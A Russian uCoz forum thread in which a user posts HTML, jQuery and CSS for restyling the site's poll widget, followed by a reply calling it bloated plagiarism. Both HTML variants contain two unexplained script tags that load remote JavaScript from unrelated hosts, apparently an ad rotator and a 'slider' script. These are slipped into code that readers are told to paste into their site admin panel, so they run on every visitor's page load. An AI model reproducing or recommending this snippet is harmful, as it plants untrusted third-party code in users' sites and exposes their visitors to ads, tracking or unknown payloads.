[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: FeRz1k  
Форум » Вэбмастерам » Скрипты для uCoz » Стилизация опроса uCoz v.1.5 (Новый опрос под любой дизайн)
Стилизация опроса uCoz v.1.5
BotsManДата: Понедельник, 19.03.2012, 16:25 | Сообщение # 1
Звание: Рядовой
Постов на форуме: 31
Репутация:
[ 3 ]
Подарки:
[ 1 ]
Не в сети


Стилизация опроса uCoz v.1.5 Более улучшенная версия стилизации стандартного вида опроса в системе uCoz.

Для начало мы с вами должны заменить старый html код опроса на новый, для этого заходим в админ панель вашего сайта в системе uCoz Админ панель => Дизайн => Управление дизайном => Опросы => Вид формы опросов

удаляем от туда старый код и устанавливаем новый:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
     <div class="poll_title">$QUESTION$</div>
     <script src="http://drips.ru/slider.js" type="text/javascript"></script>
     <div class="poll_variant">$ANSWERS$</div>
     <div class="poll_niz">
     <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
     <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
     </div>
</div>     
<script type="text/javascript">     
     var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}     
     $('div.answer span').each(function(){$(this).html($(this).html()+' ')});     
</script>


Если вы хотите, чтобы в вашем опросе присутствовал процент проголосовавших за тот или иной вариант опроса, то ставим этот вариант кода:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
<script src="http://drips.ru/slider.js" type="text/javascript"></script>
     <div class="poll_title">$QUESTION$</div>
     <div class="poll_variant">$ANSWERS$</div>
     <div class="poll_niz">
     <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
     <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
     </div>
</div>     
<script type="text/javascript">     
     var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}     
     $('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});     
</script>


CSS:

Наш опрос почти готов, осталось прописать css стили:

Code
/* Ячейка опроса
------------------------------------------*/
.cell_poll {
     float:left;     
     color:#555;text-shadow: 1px 1px 1px #fff;
     width:220px;     
     background: #fff;
     border: 1px solid #D0D1D3;
     padding: 0px 10px 5px 10px;
}

.poll_title {
     text-align:center;     
     font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;     
     font-weight: bold;
     padding: 5px 0px;
     border-bottom: 1px solid #D0D1D3;
}

.poll_variant {
     float:left;     
     width:220px;     
     padding: 5px 0px;
}

.poll_niz {
     float:left;     
     font: 9px Verdana,Arial,Helvetica, sans-serif;     
     width:220px;     
     padding: 5px 0px;
     border-top: 1px solid #D0D1D3;
}

.poll_left {float:left;}
.procent,
.poll_right {float:right;}

.answer {
     background: #F6FBFC;
     padding: 2px 5px 2px 5px;
     margin: 7px 0px 7px 0px;     
}     

.answer input,
.answer label{
     margin:0;     
}     
.answer div div {     
     height: 10px !important;     
     border: 1px solid #fff;     
     margin: 0px;
}     

.answer div {     
     display: block;     
     position: relative;     
     padding: 0 !important;     
     border: 1px solid #B6B6B5;     
     background: #F4F5F6;     
     margin: 0px;
}
.procent {     
     background: #DCEDF0;     
     padding: 3px 5px;
}

.pollBut {
     font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold;
     color:#b17902!important; text-shadow:1px 1px 1px #fff!important;     
     background:#fed66c!important;     
     border:1px solid #e3b346!important;     
     padding: 4px 8px;     
     margin: 5px 0px 5px 0px;     
}

.pollBut:hover {
     background:#ffe49c!important;     
}
/*------------------------------------------*/


Алексей
 
2RistДата: Вторник, 20.03.2012, 14:26 | Сообщение # 2
Звание: Рядовой
Постов на форуме: 10
Репутация:
[ 0 ]
Подарки:
[ 0 ]
Не в сети
Собственно в чем отличия от адаптации опросов от DLE и "Стилизация опроса uCoz v.1.5" не особо видно на картинке, не самая удачная попытка плагиата, только в первом случае кода меньше. Если не ошибаюсь то в адаптации около 8 строчек в ксс и все. Чем меньше не нужного кода, тем меньше вес страницы, меньше глюков и ошибок, и быстрее загрузка=)
 
Форум » Вэбмастерам » Скрипты для uCoz » Стилизация опроса uCoz v.1.5 (Новый опрос под любой дизайн)
  • Страница 1 из 1
  • 1
Поиск:
Статистика сайта
Последние новости Самые отвечаемые темы Последние статьи
EA раскрыла подробно... 18.04.2013
Bethesda прекращает ... 18.04.2013
Создатели World of T... 18.04.2013
Battlefield 4 не буд... 18.04.2013
Авторы Silent Hill: ... 18.04.2013
Курилка! 103
Общая тема для обсуждений 67
Изготовление аваторов 50
Новости сервера 37
Команда сайта 36
История Starcraft: Н... 10.02.2013
Почему в Valve решил... 20.08.2012
Танки рвутся в кибер... 15.08.2012
Лучшие финалы в исто... 17.06.2012
Киберспорт - спорт? ... 14.04.2012
Новые пользователи Активные пользователи Лучшие комментаторы
voodyy28 01.09.2017
qteras23 25.08.2017
156464 25.08.2017
Sergeeff 23.08.2017
Areon 20.08.2017
Phoenix 1449
FeRz1k 319
WedMacK 200
warcraf 200
Rolex 157
Phoenix 56
FeRz1k 56
koJIxo3Huk 19
Die 13
scool 9